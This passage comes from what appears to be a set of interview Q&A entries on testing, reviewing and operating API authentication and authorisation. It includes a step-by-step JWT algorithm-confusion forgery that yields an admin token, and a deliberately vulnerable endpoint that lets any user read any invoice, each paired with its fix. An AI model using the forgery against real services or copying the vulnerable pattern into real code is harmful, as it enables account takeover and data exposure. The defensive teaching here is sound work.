Volume arithmetic (hypothetical, for sizing): 5M authenticated API calls/day at Metadata level, ~500 B of JSON each, is 2.5 GB/day, ~900 GB/year. The same traffic at RequestResponse is 10–50× that, which is why the policy above is Metadata by default and RequestResponse only for privilege-changing verbs.

Access to the log is itself sensitive: it reveals who did what. Give it its own access control and its own audit trail; auditors expect exactly that recursion.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-17

How would you test the authorisation of an API thoroughly?

Answer

Core answer. Assume a REST API with bearer-token auth, object-level ownership, and tenants. The thing to test is what a caller must not be able to do. Positive tests ("an admin can list orders") pass on a system with no authorisation at all, so they prove nothing. I'd generate the negative matrix from the route table, assert on the specific rejection, and make a missing test a build failure.

Generate the unauthenticated sweep from the route table.

Python
# Python 3.12, pytest 8.2, httpx 0.27 (ASGI transport, in-process)
import pytest
from app.main import app

PUBLIC = {"/health", "/metrics", "/openapi.json"}

def protected_routes():
    for route in app.routes:
        if not getattr(route, "methods", None):
            continue
        if route.path in PUBLIC:
            continue
        for method in route.methods - {"HEAD", "OPTIONS"}:
            yield method, route.path

@pytest.mark.parametrize("method,path", list(protected_routes()))
def test_unauthenticated_is_rejected(client, method, path):
    url = path.replace("{user_id}", "1").replace("{id}", "1")
    r = client.request(method, url)          # no Authorization header
    assert r.status_code == 401, f"{method} {url} -> {r.status_code}"

Trace: app.routes yields /health, /metrics, /openapi.json, /users/{user_id} (GET, PUT, DELETE), /orders (GET, POST). The filter drops the three public paths. /users/{user_id} contributes three pairs, /orders two. Substituting {user_id}→1 gives GET /users/1, PUT /users/1, DELETE /users/1, GET /orders, POST /orders. Each is sent with no Authorization header and must return 401. A route registered outside the auth middleware returns 200 or 500 here and fails the build.

The rest of the matrix.

CheckRequestExpectedCatches
Cross-user readGET /orders/{A's id} as B404missing object-level check (BOLA)
Cross-tenant readsame, different tenant404tenant filter absent from the query
Role boundaryPOST /orders as viewer403role check never wired up
Mass assignmentPATCH /users/me {"role":"admin"}200, role unchangedover-permissive binding
Expired tokenexp in the past401, expiry errorexpiry not verified
alg: noneunsigned token401algorithm confusion
Indirect readGET /orders?expand=customerno other tenant's customerexpansion bypasses the direct check

Cost. 240 routes, 3 public → 237. At 2.4 methods each that is ~570 (method, path) pairs. In-process ASGI transport is ~5 ms per call, so the unauthenticated sweep is ~3 s. The cross-user matrix (237 routes × 3 verbs × 2 identities = 1,422 requests) is ~7 s. Under 15 s total, so it runs on every PR instead of nightly.

Assert on which rejection fired. An expired token must fail with the expiry error, not a generic 401. Otherwise a broken signature check masks a missing expiry check, and both look green.

Cross-user returns 404, not 403. A 403 confirms the object exists, which is an enumeration oracle. Assert 404 for objects the caller cannot see, and 403 only where existence is already public.

What generation misses. Indirect access: GET /orders?expand=customer can return another tenant's customer even when GET /customers/{id} is correctly denied. Mass assignment: assert the response body shows role unchanged, not merely a 200. Both need hand-written cases.

Structural enforcement. A test that reads the route table and fails when any (method, path) is absent from the set of routes covered by an authorisation test. That is the only version that survives a deadline.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-18

What would you do if you discovered an authorisation vulnerability in production?

Answer

Contain first, investigate second. The instinct to fully understand the bug before acting is wrong when data is exposed.

State your assumptions out loud: you have deploy access or a feature flag, your request logs carry caller identity and the object ID, and you have a channel to legal/security. If any of those is false, say so: it changes the plan.

Assess exposure in minutes, not hours. Three questions: what can be reached, by whom, and is it still reachable? An endpoint needing an authenticated account plus a guessed UUID is a different incident from one any anonymous caller can walk with ?id=1,2,3. This class is CWE-639, and OWASP's API Security Top 10 2023 lists it as API1: Broken Object Level Authorization.

Contain. Pick the fastest reversible action that stops the exposure:

actiontime to effectblast radius
flip feature flag offsecondsfeature dark for all users
edge/WAF rule blocking the route~1 minroute blocked, may catch legit traffic
revert the deployminutesrolls back unrelated changes too
hotfix forward15–60 minkeeps feature up, needs review under pressure

Taking a feature offline beats leaving data exposed; make that trade fast rather than debating it.

Then ask whether it was exploited. This is where logging investment pays or doesn't. You need, per request: authenticated principal, object ID, timestamp, response status. With those, two queries answer most of it:

  • one principal touching many distinct object IDs in a short window;
  • sequential or near-sequential IDs from one principal.

Example threshold, tune to your traffic: alert when a principal requests >50 distinct object IDs in an hour and that is >3× their 30-day p99. Below that you are guessing.

Retention bounds your answer. If access logs are kept 7 days and the bug shipped 30 days ago, you can only speak to the last 7 days, and that gap is itself a finding. (CloudTrail's default event history is 90 days; many application logs default far shorter.)

Fix structurally, not just the reported route. If one handler missed the check, its siblings probably did too: same author, same pattern, same missing middleware. Make the check impossible to forget:

JavaScript
// vulnerable: any authenticated user can read any invoice
app.get('/api/invoices/:id', async (req, res) => {
  const invoice = await db.invoices.findById(req.params.id);
  res.json(invoice);
});

// fixed: scope the query to the caller; 404, not 403, so existence doesn't leak
app.get('/api/invoices/:id', async (req, res) => {
  const invoice = await db.invoices.findOne({
    where: { id: req.params.id, ownerId: req.user.id }
  });
  if (!invoice) return res.sendStatus(404);
  res.json(invoice);
});

Then audit the whole surface for the same shape.

Obligations run on a clock that started at discovery. Under GDPR Art. 33, a personal-data breach likely needs regulator notification within 72 hours of becoming aware. Escalate to legal/security early, not after remediation: the technical work and the notification run in parallel.

Prevention. Add a test that hits every route as a second user and asserts 403/404; make an untested route a build failure. Move authorisation into a layer that can't be bypassed per-endpoint.

Blameless retro, genuinely. The author worked in a system that made the mistake easy and invisible. Punishing the individual guarantees the next person hides uncertainty instead of raising it.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-24

What would make you reject an authentication design in review?

Answer

I keep two lists in review: things that are wrong, and things I would have done differently. Only the first list blocks. It stays short enough that being firm about it is credible, and it keeps the review from turning adversarial over preferences.

Worked trace: algorithm confusion. This is the one that gets waved through because the code looks careful.

Python
# PyJWT 2.x. PUBLIC_KEY_PEM is the RSA public key, published at /.well-known/jwks.json.
claims = jwt.decode(token, PUBLIC_KEY_PEM, algorithms=["RS256", "HS256"])

The algorithms list is the bug. Trace an attacker:

  1. Fetch the public key PEM. It is public by design.
  2. Build a header {"alg": "HS256", "typ": "JWT"} and a payload {"sub": "admin", "exp": <now + 3600>}.
  3. Sign with HMAC-SHA256, using the PEM text itself as the shared secret.
  4. Send it. PyJWT reads alg from the header, sees HS256 in the allowed list, and verifies the HMAC using PUBLIC_KEY_PEM as the key. The signature matches. The token is accepted as admin.

The fix is one word: algorithms=["RS256"]. Pin the algorithm; never let the token choose it. Same failure shape as alg: none: any library that honours the header will accept an unsigned token when the header says so. RFC 8725 is the reference to cite here.

The blocking list.

RejectMechanismWhat I check in review
Custom token format or crypto primitiveFails in ways review cannot see and production canAny hand-rolled signing, MAC, or key-derivation code
Recoverable passwordsEncryption is reversible; a fast hash is brute-forcedColumn type, and whether any endpoint can return an existing password or API key
Fast password hashingA single consumer GPU computes SHA-256 at roughly 10^10 hashes/secLook for bcrypt/Argon2id. OWASP's baseline Argon2id is 19 MiB, t=2, p=1; bcrypt cost 12 is roughly 100–300 ms per verify on a current core. Also: bcrypt silently truncates at 72 bytes
Credentials in a URLQuery strings land in nginx $request_uri, in Referer on outbound links, and in browser historyAny token, key, or session id in a query parameter
No aud validationTokens from a shared issuer are accepted by every service that trusts itThe decode call: aud and iss must be checked, not just the signature
Authorisation only per endpointNot exploitable today; guarantees a future holeWhether there is a structural backstop, e.g. a default-deny policy layer
Implicit and ROPC grantsBoth removed in OAuth 2.1; a supported alternative existsThe response_type and grant types in the client config
Network location as identityBeing inside the VPC is not authenticationIP allowlists standing in for identity. mTLS is fine: it authenticates a cert, not an address

Where I push but do not block: access token lifetimes longer than the 5–15 minutes I would choose, an access-control model I think will need reworking, missing rate limiting on the auth endpoints. These have a legitimate other side, so they get a strong opinion rather than a veto.

And I always ask for the cross-user authorisation tests. A design that is correct and untested becomes incorrect over time, so their absence is a finding about durability, not about the current state.

The distinction I try to hold is between things that are wrong and things I would have done differently. Conflating them makes the genuine objections easier to dismiss.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-25

How do authentication and authorisation interact with an API's usability?

Answer

Authentication and authorisation are part of the API's interface, not a gate bolted in front of it. Every choice in them surfaces as either friction or a workaround, and the direction teams think about least matters most: bad usability degrades security, because people route around controls they cannot operate.

Three things decide whether the auth layer is usable: whether token lifetime is matched by refresh mechanics, whether scope granularity maps to a decision an integrator can actually make, and whether errors say what to do.

Refresh has to be proactive. A client that refreshes on 401 pays a failed round trip per expiry, and every worker sharing the token refreshes at the same moment.

Python
# Python 3.12
import time

class TokenSource:
    """Refresh 60 s before expiry instead of reacting to a 401."""
    def __init__(self, fetch, skew=60.0):
        self._fetch = fetch          # () -> (access_token, expires_in_seconds)
        self._skew = skew
        self._token, self._expires_at = None, 0.0

    def get(self):
        now = time.monotonic()
        if now >= self._expires_at - self._skew:
            self._token, ttl = self._fetch()
            self._expires_at = now + ttl
        return self._token

Trace, with fetch returning ("t0", 3600) on its first call:

  • get() at t=1000.0: 1000.0 >= 0.0 - 60.0 is true, so fetch() runs, _expires_at becomes 4600.0, returns "t0".
  • get() at t=2000.0: 2000.0 >= 4540.0 is false, returns "t0" with no network call.
  • get() at t=4540.0: 4540.0 >= 4540.0 is true, fetch() runs again, _expires_at becomes 8140.0.

No request carries a token inside its last 60 s. Reactive refresh with a 3600 s token wastes one request per client per hour; with a 300 s token, twelve. (Hypothetical, but the ratio is the point.) One trap: if skew exceeds the issued TTL, every call refreshes.

Real defaults, and what each costs the integrator.

ControlDefaultUsability consequence
Google OAuth 2.0 access token3600 sA client without automatic refresh logs the user out hourly
Google refresh token, external app in "Testing" publishing status7 daysDevelopers re-consent weekly, a common reason teams ship against production credentials
Auth0 access token lifetime86400 s, configurable per APILong-lived by default, so revocation latency rather than refresh is the problem
AWS SigV4 presigned URLmax 604800 s (7 days)Hard ceiling; longer-lived sharing needs a different mechanism
AWS Config access-keys-rotated90 daysRotation is a compliance check, so make it a two-minute operation
GitHub classic scopesrepo vs public_repoGranularity that maps to a decision the integrator can make

Errors are the documentation at the moment it matters. RFC 6750 §3 defines the bearer-token challenge:

HTTP/1.1 403 Forbidden
WWW-Authenticate: Bearer realm="api", error="insufficient_scope",
                  error_description="requires scope invoices:write",
                  scope="invoices:read invoices:write"

That names the scope to request. RFC 9110 keeps 401 (credentials missing or invalid) and 403 (authenticated, not permitted) distinct; collapsing them sends integrators to the wrong fix, and a bare "Forbidden" makes them guess or request everything.

Where usability breaks security. If rotation is painful, keys are never rotated: the 90-day AWS Config rule exists because of exactly that. If scopes are confusing, integrators request the union. If sessions expire too aggressively, users share credentials. If there is no sandbox, integration is built against production data. The control caused the insecure behaviour.

Failure modes worth naming. Refresh-token rotation without a grace window: RFC 9700 (OAuth 2.0 Security BCP, January 2025) recommends rotation for public clients, but if the old token dies the instant a new one is issued, concurrent requests fail. Visible as refresh-token reuse errors spiking right after a deploy. Scope explosion: GitHub's repo grants full control of private repositories while public_repo covers public ones only, and once a list is long and undocumented integrators take the union. And PKCE (RFC 7636) is required for all clients in the OAuth 2.1 draft, which drops the implicit and password grants: a usability win, since it deletes two flows integrators routinely got wrong.

What I would measure: share of tokens older than the rotation policy, number of apps holding the broadest scope, 401/403 rate per client, refresh failures per deploy. Those tell you whether the controls are followed or worked around.

Curated: · Written: · Reviewed:

Difficulty: Medium